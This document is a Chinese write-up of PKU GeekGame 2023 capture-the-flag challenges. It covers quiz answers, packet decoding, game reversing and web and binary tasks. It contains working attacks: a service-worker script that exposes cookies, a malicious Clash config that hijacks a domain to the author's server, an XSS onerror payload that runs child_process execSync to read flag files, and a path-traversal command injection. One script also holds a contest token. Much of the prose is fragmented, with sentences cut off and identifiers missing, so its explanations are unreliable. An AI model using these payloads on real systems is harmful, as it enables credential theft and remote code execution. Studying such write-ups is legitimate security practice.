本来打算做个签到题就走
因为做题的时候写的代码基本上是
按照比赛平台提交时的提示
赛后交流的时候才知道
Tutorial
一眼盯帧
祖传签到题


熟悉的
小北问答!!!!!
祖传小北问答
1. 在北京大学( 校级) 高性能计算平台中, 什么命令可以提交一个非交互式任务?
找到官方使用教程的说明
运行作业的方式有两种
: 一种是将计算过程写成脚本
通过 , sbatch 指令提交到计算节点执行 ; 另一种是通过
salloc 申请到计算节点 再 , ssh 连接到计算节点进行计算 ;
既然说sbatch
2. 根据 GPL 许可证的要求, 基于 Linux 二次开发的操作系统内核必须开源。 例如小米公司开源了 Redmi K60 Ultra 手机的内核。 其内核版本号是?
谷歌搜索
查看Makefile
文件
答案是5.15.78
3. 每款苹果产品都有一个内部的识别名称( Identifier) , 例如初代 iPhone 是 iPhone1,1。 那么 Apple Watch Series 8( 蜂窝版本, 41mm 尺寸) 是什么?
谷歌搜索
按照要求的版本Watch6,16
4. 本届 PKU GeekGame 的比赛平台会禁止选手昵称中包含某些特殊字符。 截止到 2023 年 10 月 1 日, 共禁止了多少个字符? ( 提示: 本题答案与 Python 版本有关, 以平台实际运行情况为准)
比赛平台前后端都是开源的abbbbb7
- EMOJI_CHARS = (
- {chr(0x200d)} # zwj
- | {chr(0x200b)} # zwsp, to break emoji componenets into independent chars
- | {chr(0x20e3)} # keycap
- | {chr(c) for c in range(0xfe00, 0xfe0f+1)} # variation selector
- | {chr(c) for c in range(0xe0020, 0xe007f+1)} # tag
- | {chr(c) for c in range(0x1f1e6, 0x1f1ff+1)} # regional indicator
- )
- # https://www.compart.com/en/unicode/category
- DISALLOWED_CHARS = (
- unicode_chars('Cc', 'Cf', 'Cs', 'Mc', 'Me', 'Mn', 'Zl', 'Zp') # control and modifier chars
- | {chr(c) for c in range(0x12423, 0x12431+1)} # too long
- | {chr(0x0d78)} # too long
- ) - EMOJI_CHARS
- WHITESPACE_CHARS = unicode_chars('Zs') | EMOJI_CHARS
- @classmethod
- def _deep_val_nickname(cls, name: str) -> Optional[str]:
- all_whitespace = True
- for c in name:
- if c in cls.DISALLOWED_CHARS:
- return f'昵称中不能包含字符 {hex(ord(c))}'
- if c not in cls.WHITESPACE_CHARS:
- all_whitespace = False
拎出来自己写个test.py
- from typing import Set
- from unicategories import categories
- def unicode_chars(*cats: str) -> Set[str]:
- ret = set()
- for cat in cats:
- ret |= set(categories[cat].characters())
- return ret
- EMOJI_CHARS = (
- {chr(0x200d)} # zwj
- | {chr(0x200b)} # zwsp, to break emoji componenets into independent chars
- | {chr(0x20e3)} # keycap
- | {chr(c) for c in range(0xfe00, 0xfe0f+1)} # variation selector
- | {chr(c) for c in range(0xe0020, 0xe007f+1)} # tag
- | {chr(c) for c in range(0x1f1e6, 0x1f1ff+1)} # regional indicator
- )
- # https://www.compart.com/en/unicode/category
- DISALLOWED_CHARS = (
- unicode_chars('Cc', 'Cf', 'Cs', 'Mc', 'Me', 'Mn', 'Zl', 'Zp') # control and modifier chars
- | {chr(c) for c in range(0x12423, 0x12431+1)} # too long
- | {chr(0x0d78)} # too long
- ) - EMOJI_CHARS
- WHITESPACE_CHARS = unicode_chars('Zs') | EMOJI_CHARS
- print(len(DISALLOWED_CHARS))
官方提示说这个数字与.github/workflows/workflow.yml
- name: Build and Publish
- on:
- push:
- workflow_call:
- jobs:
- build:
- runs-on: ubuntu-latest
- strategy:
- matrix:
- python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
- steps:
- - uses: actions/checkout@v4
- - uses: actions/setup-python@v4
- with:
- python-version: $
- - run: |
- python -m pip install --upgrade pip
- pip install unicategories~=0.1.2
- python test.py
推上去
版本 | 结果 |
---|---|
3.8 | 4445 |
3.9 | 4472 |
3.10 | 4472 |
3.11 | 4587 |
3.12 | 4636 |
这个只能试出来4445
5. 在 2011 年 1 月, Bilibili 游戏区下共有哪些子分区? ( 按网站显示顺序, 以半角逗号分隔)
首先先得查出来

答案是游戏视频,游戏攻略·解说,Mugen,flash游戏
6. 这个照片中出现了一个大型建筑物, 它的官方网站的域名是什么? ( 照片中部分信息已被有意遮挡, 请注意检查答案格式)
先谷歌搜索旗子上的字

这几个企业名都是

和题目上的图十分类似philharmonie.lu
Misc
Z 公司的服务器
Flag 1: 服务器
下载下来的题目附件是个.pcapng
文件

显然192.168.16.1
是客户端192.168.23.179
是服务器
- from pwn import *
- conn = remote("prob05.geekgame.pku.edu.cn", 10005)
- conn.recvuntil(b"Please input your token: ")
- conn.send(b"<MY TOKEN>\n")
- time.sleep(1)
- conn.send(b"\x2a\x2a\x18\x42\x30\x31\x30\x30\x30\x30\x30\x30\x36\x33\x66\x36\x39\x34\x0a")
- time.sleep(1)
- conn.send(b"\x0a")
- time.sleep(1)
- conn.send(b"\x2a\x18\x43\x18\x44\x18\x40\x18\x40\x18\x40\x18\x40\xdd\x51\xa2\x33\x66\x6c\x61\x67\x2e\x6a\x70\x67\x18\x40\x31\x36\x30\x39\x36\x20\x31\x34\x35\x30\x35\x33\x33\x33\x35\x31\x35\x20\x31\x30\x30\x37\x37\x37\x20\x30\x20\x31\x20\x31\x36\x30\x39\x36\x18\x40\x18\x6b\xd6\x18\xcb\x33\x66\x11")
- time.sleep(1)
- conn.send(b"\x2a\x2a\x18\x42\x30\x31\x30\x30\x30\x30\x30\x30\x36\x33\x66\x36\x39\x34\x0a\x0a")
- time.sleep(1)
- print(conn.recv())
- conn.send(b"\x2a\x2a\x18\x42\x30\x39\x30\x30\x30\x30\x30\x30\x30\x30\x61\x38\x37\x63\x0a\x0a")
- with open("flag1.bin", "wb") as writer:
- writer.write(conn.recv())
执行完之后从flag1.bin
里面可以找到
Flag 2: 流量包
这题确实是看了提示才做出来的
根据流量包可以找到几条比较长的数据0001.bin
到0008.bin
0001.bin
的较前面的部分可以看到JFIF
几个字母.jpg
文件的文件头flag.jpg
根据提示找到
The receiving program decodes any sequence of ZDLE followed by a byte with bit 6 set and bit 5 reset (upper case letter, either parity) to the equivalent control character by inverting bit 6. This allows the transmitter to escape any control character that cannot be sent by the communications medium. In addition, the receiver recognizes escapes for 0177 and 0377 should these characters need to be escaped.
机翻 ( 接收程序通过反转位 : 6 将 , ZDLE 的任何序列解码为等效控制字符 ZDLE , 后面跟着一个字节 其中位 , 6 被设置 位 , 5 被重置 大写字母 ( 任一奇偶校验 , ) 这允许发射器逃脱通信介质不能发送的任何控制字符 。 此外 。 如果需要转义 , 0177 和 0377 的这些字符 接收器会识别这些字符的转义 , 。 ) ZMODEM software escapes ZDLE, 020, 0220, 021, 0221, 023, and 0223. If preceded by 0100 or 0300 (@), 015 and 0215 are also escaped to protect the Telenet command escape CR-@-CR. The receiver ignores 021, 0221, 023, and 0223 characters in the data stream.
机翻 ( ZMODEM : 软件转义 ZDLE 020 、 0220 、 021 、 0221 、 023 、 和 0223 如果前面是 。 0100 或 0300 @ ( ) 015 , 和 0215 也被转义以保护 Telenet 命令转义 CR-@-CR 接收器忽略数据流中的 。 021 0221 、 023 、 和 0223 个字符 。 )
这说明这个传输规范会对二进制文件中的部分字符转义0x18
0x18
后面紧跟的字节对0x40
0b01000000
- import struct
- result = b""
- data = b""
- for f in [1, 2, 3, 4, 5, 6, 7, 8]:
- with open(f"./{f:04d}.bin", "rb") as reader:
- data += reader.read()
- data = data[data.index(b"\xFF\xD8\xFF\xE0"):]
- i = 0
- while i < len(data):
- c = data[i]
- if c == 0x18:
- if i + 1 >= len(data):
- break
- c = data[i + 1]
- c = c ^ 0x40
- result += struct.pack("B", c)
- i += 2
- continue
- else:
- result += struct.pack("B", c)
- i += 1
- continue
- with open("out.jpg", "wb") as writer:
- writer.write(result[result.index(b"\xFF\xD8\xFF\xE0"):])
但这样得到的结果是这样的

能看出来确实有字了.jpg
文件sz test.jpg
指令让它对这个文件进行编码
- from pwn import *
- context.log_level = "debug"
- io = process(["sz", "test.jpg"])
- time.sleep(1)
- io.send(b"\x2a\x2a\x18\x42\x30\x31\x30\x30\x30\x30\x30\x30\x36\x33\x66\x36\x39\x34\x0a\x0a")
- time.sleep(1)
- io.recv()
- io.send(b"\x2a\x2a\x18\x42\x30\x39\x30\x30\x30\x30\x30\x30\x30\x30\x61\x38\x37\x63\x0a\x0a")
- time.sleep(1)
- out = 1
- while True:
- x = io.recv(timeout=5)
- if not x:
- break
- with open(f"test/{out:04d}.bin", "wb") as writer:
- writer.write(x)
- out += 1
- io.close()
然后拿上面的脚本对这个输出结果跑一遍.jpg
文件有什么不同0x400
这里开始不一样

可以看出来我的解码结果多了0x800
处也差了
每解码0x405
个字节就删掉最后.jpg
文件错了最后几个字节也不影响阅读flag.jpg
读出
猫咪状态监视器
这题一开始没做出来
根据提示和/usr/sbin/service
文件复制出来/run/systemd/system
或/run/openrc/started
- run_via_sysvinit() {
- # Otherwise, use the traditional sysvinit
- if [ -x "${SERVICEDIR}/${SERVICE}" ]; then
- exec env -i LANG="$LANG" LANGUAGE="$LANGUAGE" LC_CTYPE="$LC_CTYPE" LC_NUMERIC="$LC_NUMERIC" LC_TIME="$LC_TIME" LC_COLLATE="$LC_COLLATE" LC_MONETARY="$LC_MONETARY" LC_MESSAGES="$LC_MESSAGES" LC_PAPER="$LC_PAPER" LC_NAME="$LC_NAME" LC_ADDRESS="$LC_ADDRESS" LC_TELEPHONE="$LC_TELEPHONE" LC_MEASUREMENT="$LC_MEASUREMENT" LC_IDENTIFICATION="$LC_IDENTIFICATION" LC_ALL="$LC_ALL" PATH="$PATH" TERM="$TERM" "$SERVICEDIR/$SERVICE" ${ACTION} ${OPTIONS}
- else
- echo "${SERVICE}: unrecognized service" >&2
- exit 1
- fi
- }
其中SERVICEDIR
是/etc/init.d
SERVICE
是我的输入/usr/bin/cat
搞出来就好了STATUS
../../usr/bin/cat /flag.txt
基本功
两个
- 压缩方法需要是
Store
加密算法需要是, ZipCrypto
。 - 需要知道压缩包中的至少
其中至少有, 并且知道这些字节的位置, 。
一般情况下创建压缩包的压缩方式都是
第一个文件里包含了一个chromedriver_linux64.zip
5845152
对得上的就行
保存完之后在文件夹里找content-length: 5845152
然后直接解密即可flag1.txt
第二个文件包含了一个.pcapng
文件0x00-0x04
位置是0a 0d 0d 0a
0x06-0x18
位置是00 00 4d 3c 2b 1a 10 00 00 00 ff ff ff ff ff ff ff ff
flag2.pcapng
Dark Room
Flag 1
这个题就是我说的那个
说明里面提到题目基于
游戏流程也很简单sanity
这种看运气的事当然得靠爆破
于是写个
- from pwn import *
- COMMANDS = [
- "n",
- "n",
- "e",
- "pickup key",
- "w",
- "s",
- "s",
- "e",
- "e",
- "e",
- "pickup trinket",
- "use trinket",
- "w",
- "s",
- "usewith key door",
- "s",
- "s",
- "n",
- "w",
- "w",
- "w",
- "n",
- "pickup key",
- "s",
- "e",
- "e",
- "e",
- "n",
- "n",
- "n",
- "w",
- "w",
- "n",
- "n",
- "w",
- "w",
- "usewith key door",
- "h",
- ]
- def play(file_name):
- writer = open(file_name, "w", -1, "utf8")
- conn = remote("prob16.geekgame.pku.edu.cn", 10016)
- conn.recvuntil(b"Please input your token: ")
- conn.sendline(b"MY TOKEN")
- time.sleep(1)
- conn.recvuntil(b"]: ", timeout=5)
- conn.send(b"newgame\n")
- conn.recvuntil(b"]: ", timeout=5)
- conn.send(b"gamer\n")
- conn.recvuntil(b"(y/n) ", timeout=5)
- conn.send(b"y\n")
- for command in COMMANDS:
- writer.write(conn.recvuntil(b"]: ", timeout=5).decode("utf8") + "\n")
- conn.send(command.encode("utf8") + b"\n")
- while True:
- result = conn.recvuntil(b"]: ", timeout=5).decode("utf8")
- writer.write(result + "\n")
- sanity = int(re.search(r"Sanity: \[[\|\-]+\] \((-?\d+)%\)", result).group(1))
- if sanity >= 118:
- conn.send(b"n\n")
- result = conn.recvuntil(b"]: ", timeout=5).decode("utf8")
- writer.write(result + "\n")
- writer.close()
- exit(0)
- elif sanity < 1:
- conn.close()
- break
- else:
- conn.send(b"h\n")
- writer.close()
-
- i = 0
- while True:
- play(f"output/{i}.txt")
- i += 1
- time.sleep(3.5)
存成文件是怕我手一抖把终端关了全白忙活2023-10-18 18:19
Flag 2
Flag 2
- invalid literal for int() with base 10: ''
- Traceback (most recent call last):
- File "dark_room/player.py", line 249, in <module>
- 248: while flag_number:
- 249: choice = int(self.recv(b"Guess my public key (give me a number): ").decode())
- ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
- 250: if flag_number & 1:
- 251: p = getStrongPrime(2048)
- 252: q = getStrongPrime(2048)
- 253: flag_number >>= 1
- ValueError: invalid literal for int() with base 10: ''
然后就不知道怎么做了
getStrongPrime
这个函数flag_number
的每一位getStrongPrime
flag_number
的每一位是flag_number
的值

拿
- from pwn import *
- COMMANDS = [
- "n",
- "n",
- "w",
- "w",
- "s",
- "s",
- "getflag",
- ]
- def play():
- writer = open("output/flag2.txt", "w", -1, "utf8")
- conn = remote("prob16.geekgame.pku.edu.cn", 10016)
- conn.recvuntil(b"Please input your token: ")
- conn.send(b"448:MEYCIQCWia84qwxiWuYqqtctrw6YAzAGcevIrzAikp7FGKm9LwIhAIS_ydCHSUczXU9RK5Cn8fH8acfvPtuj7nrOWU6UtPJW\n")
- time.sleep(1)
- conn.recvuntil(b"]: ", timeout=5)
- conn.send(b"newgame\n")
- conn.recvuntil(b"]: ", timeout=5)
- conn.send(b"gamer\n")
- conn.recvuntil(b"(y/n) ", timeout=5)
- conn.send(b"y\n")
- for command in COMMANDS:
- conn.recvuntil(b"]: ", timeout=5)
- conn.send(command.encode("utf8") + b"\n")
- start_time = time.time()
- first = True
- while True:
- conn.recvline()
- line = conn.recvline().decode("utf8").strip()
- now = time.time()
- if now - start_time > 0.95:
- writer.write("1")
- writer.flush()
- else:
- if not first:
- writer.write("0")
- writer.flush()
- else:
- first = False
- if line == "Challenge Failed":
- break
- start_time = time.time()
- conn.sendline(b"0")
- writer.close()
- play()
拿到每一位的信息之后反转字符串
顺带一提sleep(1)
麦恩· 库拉夫特
Flag 1: 探索的时光
没怎么玩过
Flag 2: 结束了?
实在是在游戏里找不到第flag{
可以找到第一个minecraft:sign
Flag 3: 为什么会变成这样呢?
用
- 10B55874DB222471B5BE9775109E779ABE03227745767B210DF0BA7109DEB09864542136010213107A2752FD54AE102F239AE8ABD2A17E79FE10DF1584442D810183510E3AB5104F57FB100A41190B506FB4EE6E4B3B1E55987866B810BDA0EE60F86D8DD84910B410BB1071B800887E7600A4BEE1F3092531555B1001AB91010806115024F0EAD16B1F21050F1034AED2F239AED2BEAA1438E6810ADDE2AF67DB4298E810D6437D608388AE726DE170B33BDA4888B25E10BEE9E179BBE7B105D7B3863E302EFE10419279AA01090FF81010AAF4D7AD58090A57BFBA924310102F09780101D1054FE3AA58AA82D04AE3AD8557F0E2155F6652E10106510101544BBF517FF5101031E444F2A300E518411AD7789E47661EF210107A5D0017D7010185D6A90D522D3013215BFEE02BE721010F9A01046100F1021AED4105BBEAA73995610F7095F6A7BBB54F1333D021D19D484489155310755A8E7DD10E09A1AE8FE1010358D100551010B61044952B106D509D9848887710E910820E55FDBE355839D5F500118BBBD287E1A57105F2893E20EDAB55AA32D78FB15FB0D90D69E0770077E2F6889B10B4605A41E7DA45D80911022B47877311A510B82B48D51010E91B2F25A30AA9E9299718E851033A025B996AFB6A10A9881710554FE3A58DEEE46A01DFBEA64A48B5AFEA0507F11BD5D10920670771106B998AF12DE229AEF411B341079109B9BB63195102986651FF33D1110DE2ADB534510A87D40108E477B9A6822DA334B2D510F5D3B94AA10B951089EEA3110110B1B10103F5504570EED10A00D56626EBF108F5AAEE5B13309972101750B66009AFAF9755337E35BB51D5400E6610AAA716D02313F789ADED55B815AB8F4D3B9AA96B7B9F6B2BFF2B41B10D1010E1619E5466BABF44F8FF8D911BAE9535510EBE5B3310F668855D104A361010727B518872D6FFFAE1EE311AD8FE3101011EAB6640D9701085755188FD29A3A106105DDD3F52220EB10DD362210F10421077D2897E8F550B977E1A57D5F23677668143BBB13A3922EB065F1142D471E221E1010E910559E1913FEFAEEF77115BDD2A7A121F72D3AA8B71A557AE66D1E52689D81108B59E1010ABDE0438103B8589447A8A02FFFEFA27195E1AA5710D52E32AF42EB28E86748FAB15ABB10AA2583106265FBA2510510D4A10E1AA06EB5A78B644B94F6610D374778BA2F9716AAEBF779718975103D10105B8F1154F6FBE6386D22D7B5AB01D3183E58B33B79BAF22233A010310B4F8466B21109799D10B74D166E88D5228F4D33B9AA963A57191010FDF3B5A5D9AB0AE6A111B5E5B66746E8944F915598F7246FF7074861799488300A5FF5D5881ABDB61055810E6BD00101D27ED21F110A3EB1F80FBB62AF7795D6AF8DD38131775BF56992864764A10A00BF4C776416A5CFBEEF38EBFAE3700468BEFD0E7357C171B93758BBEFF6B55218CD87FAE158D4DD7616ABBF5626DDDE7F7F0049B4950A8BB1A2C000000004945444A4426080000000000000DA3330E411F55102310410A84EB3AAAE90103A084928585109274E85591777288DBBA573D5739BE11F101DB310F10729E03D106D584537AB488A104E1B18DFE79A6115F3E57BB83ABB18B38617B447A409F9E92B4D42134104E809AAEDF51024F3E6AB437756F289AA10FD9075EAE07BF101E7EE30E809AED2A38DF03ED7297657B810E613410BD13B30A6E7242D77F96B10AA9D915503D576DE1023BA10FB5D0E88BEB60B477D9E14E677ED912359910E22B51010FE517DD3AD66D224F451FEDE0177E1010B5816E856BA13710A1E6224B48BE7DDDBA6B3332EA76884BFA29FA0643583E101055B797DDA2F714FB5786739999FF08DD7130157993D
但是直接把这个字节序列扔到
思路应该是对的
Web
Emoji Wordle
Flag 1: Level 1
题目提示说
Flag 2: Level 2
题目提示说答案是随机生成并存储在会话中的
- PLAY_SESSION=eyJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7ImxldmVsIjoiMiIsInJlbWFpbmluZ19ndWVzc2VzIjoiOCIsInRhcmdldCI6Ilx1RDgzRFx1REM0OVx1RDgzRFx1REM3Q1x1RDgzRFx1REM1NFx1RDgzRFx1REMzRlx1RDgzRFx1REM1OFx1RDgzRFx1REM2OVx1RDgzRFx1REM1Qlx1RDgzRFx1REM2Nlx1RDgzRFx1REM2MFx1RDgzRFx1REM2MVx1RDgzRFx1REM2M1x1RDgzRFx1REM3N1x1RDgzRFx1REM2Mlx1RDgzRFx1REM4Mlx1RDgzRFx1REM4N1x1RDgzRFx1REMzRlx1RDgzRFx1REM0Nlx1RDgzRFx1REM4N1x1RDgzRFx1REM3N1x1RDgzRFx1REM4Nlx1RDgzRFx1REM3OFx1RDgzRFx1REM0MFx1RDgzRFx1REM1Mlx1RDgzRFx1REM2OFx1RDgzRFx1REM1OVx1RDgzRFx1REM1Nlx1RDgzRFx1REM3N1x1RDgzRFx1REM3Mlx1RDgzRFx1REM2MVx1RDgzRFx1REM4N1x1RDgzRFx1REM0NFx1RDgzRFx1REM0Mlx1RDgzRFx1REM3N1x1RDgzRFx1REM4NVx1RDgzRFx1REM3M1x1RDgzRFx1REM3OFx1RDgzRFx1REM1NFx1RDgzRFx1REM3Mlx1RDgzRFx1REM4OVx1RDgzRFx1REM4M1x1RDgzRFx1REM3RFx1RDgzRFx1REM4Nlx1RDgzRFx1REM0MFx1RDgzRFx1REM4NVx1RDgzRFx1REM1Qlx1RDgzRFx1REM0M1x1RDgzRFx1REM0MVx1RDgzRFx1REM1QVx1RDgzRFx1REM0Nlx1RDgzRFx1REM1Mlx1RDgzRFx1REM3OVx1RDgzRFx1REM2QVx1RDgzRFx1REM4OFx1RDgzRFx1REM4MVx1RDgzRFx1REM1QVx1RDgzRFx1REM4NFx1RDgzRFx1REM3Rlx1RDgzRFx1REM4OVx1RDgzRFx1REM3NVx1RDgzRFx1REM3Qlx1RDgzRFx1REM2NVx1RDgzRFx1REM2MVx1RDgzRFx1REM1Nlx1RDgzRFx1REM3OCJ9LCJuYmYiOjE2OTc2MzY3MjAsImlhdCI6MTY5NzYzNjcyMH0.pcHR6VKrp5QMvc3VNKziwmIZhO9g93E_9KtIjOrmYy8; SameSite=Lax; Path=/; HTTPOnly
中间一长串挺有规律
- {"data":{"level":"2","remaining_guesses":"8","target":"\uD83D\uDC49\uD83D\uDC7C\uD83D\uDC54\uD83D\uDC3F\uD83D\uDC58\uD83D\uDC69\uD83D\uDC5B\uD83D\uDC66\uD83D\uDC60\uD83D\uDC61\uD83D\uDC63\uD83D\uDC77\uD83D\uDC62\uD83D\uDC82\uD83D\uDC87\uD83D\uDC3F\uD83D\uDC46\uD83D\uDC87\uD83D\uDC77\uD83D\uDC86\uD83D\uDC78\uD83D\uDC40\uD83D\uDC52\uD83D\uDC68\uD83D\uDC59\uD83D\uDC56\uD83D\uDC77\uD83D\uDC72\uD83D\uDC61\uD83D\uDC87\uD83D\uDC44\uD83D\uDC42\uD83D\uDC77\uD83D\uDC85\uD83D\uDC73\uD83D\uDC78\uD83D\uDC54\uD83D\uDC72\uD83D\uDC89\uD83D\uDC83\uD83D\uDC7D\uD83D\uDC86\uD83D\uDC40\uD83D\uDC85\uD83D\uDC5B\uD83D\uDC43\uD83D\uDC41\uD83D\uDC5A\uD83D\uDC46\uD83D\uDC52\uD83D\uDC79\uD83D\uDC6A\uD83D\uDC88\uD83D\uDC81\uD83D\uDC5A\uD83D\uDC84\uD83D\uDC7F\uD83D\uDC89\uD83D\uDC75\uD83D\uDC7B\uD83D\uDC65\uD83D\uDC61\uD83D\uDC56\uD83D\uDC78"},"nbf":1697636720,"iat":1697636720}
显然这个
Flag 3: Level 3
有了前两个提示
解码出来
这次保存的是随机数种子remaining_guesses
- import json
- import os
- import re
- import requests
- with open("emoji_list.txt", "r", -1, "utf8") as reader:
- x = "".join(reader.read().split("\n"))
- cookies = None
- for i in range(0, len(x), 64):
- sub = x[i:i+64]
- response = requests.get(f"https://prob14.geekgame.pku.edu.cn/level3?guess={sub}", cookies=cookies)
- if not cookies:
- cookies = response.cookies
- result = re.search(r"[🟥🟨🟩]+", response.text).group(0)
- assert len(result) == len(sub)
- with open(f"3/{i // 64}.txt", "w", -1, "utf8", None, "\n") as writer:
- writer.write(sub + "\n" + result)
- STATUS_NOT_IN = 0
- STATUS_IN = 1
- STATUS_CORRECT_POS = 2
- char_pos = {
- i: [] for i in range(64)
- }
- char_in = ""
- for file_name in os.listdir("3"):
- if not file_name.endswith(".txt"):
- continue
- with open(f"3/{file_name}", "r", -1, "utf8") as reader:
- x, y = reader.read().strip().split("\n")
-
- for i, (char, status) in enumerate(zip(x, y)):
- if status != "🟥":
- char_in += char
- for i in char_in:
- sub = i * 64
- response = requests.get(f"https://prob14.geekgame.pku.edu.cn/level3?guess={sub}", cookies=cookies)
- result = re.search(r"[🟥🟨🟩]+", response.text).group(0)
- assert len(result) == len(sub)
- with open(f"3/{ord(i)}.txt", "w", -1, "utf8", None, "\n") as writer:
- writer.write(sub + "\n" + result)
- for file_name in os.listdir("3"):
- if not file_name.endswith(".txt"):
- continue
- with open(f"3/{file_name}", "r", -1, "utf8") as reader:
- x, y = reader.read().strip().split("\n")
-
- for i, (char, status) in enumerate(zip(x, y)):
- if status == "🟩":
- char_pos[i] = char
- sub = "".join(char_pos.values())
- assert len(sub) == 64
- response = requests.get(f"https://prob14.geekgame.pku.edu.cn/level3?guess={sub}", cookies=cookies)
- print(response.text)
其中emoji_list.txt
是所有的
第三新 XSS
Flag 1: 巡猎
XSS
看了下源代码/admin/
并放置
另外要注意题目区分
Flag 2: 记忆
和/admin/
并放置
这个问题我一开始真没想到解决方法/admin/
页面的源代码
首先要写一个注册页面
- <script>
- const registerServiceWorker = async () => {
- if ("serviceWorker" in navigator) {
- try {
- const registration = await navigator.serviceWorker.register("/swjs/", {
- scope: "/",
- });
- if (registration.installing) {
- console.log("正在安装 Service worker");
- } else if (registration.waiting) {
- console.log("已安装 Service worker installed");
- } else if (registration.active) {
- console.log("激活 Service worker");
- }
- } catch (error) {
- console.error(`注册失败:${error}`);
- }
- }
- };
- registerServiceWorker();
- </script>
然后写一个脚本Service-Worker-Allowed: /
这个
- const enableNavigationPreload = async () => {
- if (self.registration.navigationPreload) {
- await self.registration.navigationPreload.enable();
- }
- };
- self.addEventListener("activate", (event) => {
- console.log("active");
- event.waitUntil(enableNavigationPreload());
- });
- self.addEventListener("install", (event) => {
- console.log("install");
- });
- self.addEventListener("fetch", (event) => {
- console.log("fetch");
- event.respondWith(
- new Response(
- "<title>HELLO</title><body><script>setInterval(()=>{document.title=document.cookie;},10);</script>",
- {
- status: 200,
- headers: { "Content-Type": "text/html" },
- }
- )
- );
- });
Header
这样就能获得
简单的打字稿
TypeScript
原来
非法所得
Flag 2
紧跟时事
题目给出的是一个
看了一下题目提供的源代码ys.pku.edu.cn
这个域名的网页时primogem_code
password
的输入框内插入
接下来就是设置一个代理服务器ys.pku.edu.cn
这个域名的访问劫持到自己的服务器上
然后安装一个ConnectPort
的配置删掉/etc/hosts
127.0.0.1 ys.pku.edu.cn
.yml
配置文件
- port: 7890
- mode: Rule
- log-level: info
- external-controller: ":9090"
- proxies:
- - name: YS
- type: http
- server: MY SERVER IP
- port: 35000
- skip-cert-verify: true
- proxy-groups:
- - name: YSG
- type: select
- proxies:
- - YS
- rules:
- - "DOMAIN-SUFFIX,pku.edu.cn,YSG"
- - "DOMAIN-SUFFIX,mihoyo.com,REJECT"
- - "GEOIP,CN,DIRECT"
- - "MATCH,DIRECT"
把这个配置文件发布到公网上
原来hosts
参数可以直接劫持域名
Flag 1&Flag 3
这两个
猜测这两个/app/profiles/flag.yml
- port: 7890
- mode: Rule
- log-level: info
- external-controller: ":9090"
- proxies:
- - name: a
- type: socks5
- server: 127.0.0.1
- port: "17938"
- skip-cert-verify: true
- proxy-groups:
- - name: <img/src="1"/onerror="eval(`try{alert(require('child_process').execSync('/usr/bin/cat /app/profiles/flag.yml'));}catch(e){alert(e);}`);">
- type: select
- proxies:
- - a
存到公网上后导入进去flag.yml
的内容onerror
没加引号/usr/bin/cat /app/profiles/flag.yml
的时候老是拿不到
利用同样的办法/usr/bin/cat /app/profiles/flag.yml
改成/app/readflag
可以拿到500
Binary
汉化绿色版免费下载
Flag 1: 普通下载
下载下来解压.xp3
Flag 2: 高速下载
根据上一步解包可以拿到源代码
- @jump storage="round2.ks" cond="f.text.charAt(f.text.length-1)=='}'"
- 当前文本:[emb exp="f.text"][r]
- [link target=*sel_a clickse="SE_306"]> 输入 A[endlink][r]
- [link target=*sel_e clickse="SE_306"]> 输入 E[endlink][r]
- [link target=*sel_i clickse="SE_306"]> 输入 I[endlink][r]
- [link target=*sel_o clickse="SE_306"]> 输入 O[endlink][r]
- [link target=*sel_u clickse="SE_306"]> 输入 U[endlink][r]
- [link target=*sel_fin clickse="SE_306"]> 输入 }[endlink][r]
- [s]
- *sel_a
- @eval exp="f.text = f.text + 'A'"
- @eval exp="f.hash = f.hash * 13337 + 11"
- @jump target=*sel_end
- *sel_e
- @eval exp="f.text = f.text + 'E'"
- @eval exp="f.hash = f.hash * 13337 + 22"
- @jump target=*sel_end
- *sel_i
- @eval exp="f.text = f.text + 'I'"
- @eval exp="f.hash = f.hash * 13337 + 33"
- @jump target=*sel_end
- *sel_o
- @eval exp="f.text = f.text + 'O'"
- @eval exp="f.hash = f.hash * 13337 + 44"
- @jump target=*sel_end
- *sel_u
- @eval exp="f.text = f.text + 'U'"
- @eval exp="f.hash = f.hash * 13337 + 55"
- @jump target=*sel_end
- *sel_fin
- @eval exp="f.text = f.text + '}'"
- @eval exp="f.hash = f.hash * 13337 + 66"
- @jump target=*sel_end
- *sel_end
- @eval exp="f.hash = f.hash % 19260817"
可以看出每输入一个字符
不过仅有datasu.ksd
这个文件
- %[
- "trail_round1_sel_i" => int 1,
- "autotrail_func_init" => int 1,
- "trail_func_init" => int 1,
- "autotrail_first_start" => int 1,
- "autotrail_round1_sel_i" => int 1,
- "trail_round1_round_1" => int 1,
- "trail_autolabel_autoLabelLabel" => int 18,
- "autotrail_round1_sel_end" => int 2,
- "trail_round1_sel_fin" => int 1,
- "autotrail_autolabel_autoLabelLabel" => int 2,
- "trail_round1_sel_a" => int 6,
- "autotrail_round1_sel_e" => int 1,
- "trail_first_start" => int 1,
- "trail_round1_sel_loop" => int 18,
- "autotrail_round1_sel_a" => int 1,
- "autotrail_round1_sel_o" => int 1,
- "trail_round1_sel_end" => int 17,
- "autotrail_round1_sel_loop" => int 1,
- "autotrail_round1_sel_fin" => int 1,
- "trail_round1_sel_e" => int 3,
- "autotrail_round2_round_2" => int 1,
- "trail_round1_sel_o" => int 6,
- "autotrail_round1_round_1" => int 2
- ]
trail_round1_sel_i
以及后缀为
- def int2aeio(number: int, length: int = 16):
- s = ""
- while number > 0 or length > 0:
- number, digit = divmod(number, 4)
- s = "AEIO"[digit] + s
- length -= 1
- return s
- writer = open("strings.txt", "w", -1, "utf8", None, "\n")
- for i in range(0, 4 ** 16):
- s = int2aeio(i)
- if s.count("A") == 6 and s.count("E") == 3 and s.count("I") == 1 and s.count("O") == 6:
- writer.write(s + "\n")
- writer.flush()
然后分别计算每个字符串的
- def calc_hash(flag: str) -> int:
- hash = 1337
- for s in flag:
- hash = hash * 13337 + ("AEIO".index(s) + 1) * 11
- hash = hash * 13337 + 66
- hash = hash % 19260817
- return str(hash)
- import multiprocess
- if __name__ == "__main__":
- with multiprocess.Pool(16) as pool:
- with open("strings.txt", "r", -1, "utf8") as reader:
- result = pool.map(calc_hash, reader.read().split("\n"))
-
- with open("hash.txt", "w", -1, "utf8") as writer:
- writer.write("\n".join(result))
最后在第
初学 C 语言
Flag 1
这题我是在写题解的时候才做出来的printf
这个函数还有别的用途
根据资料的说明printf
函数会读取第一个参数作为格式化字符串printf
函数有这么几个参数
buf
就是这里的格式化字符串publics
和publici
分别是一个给定的字符串"a_public_string"
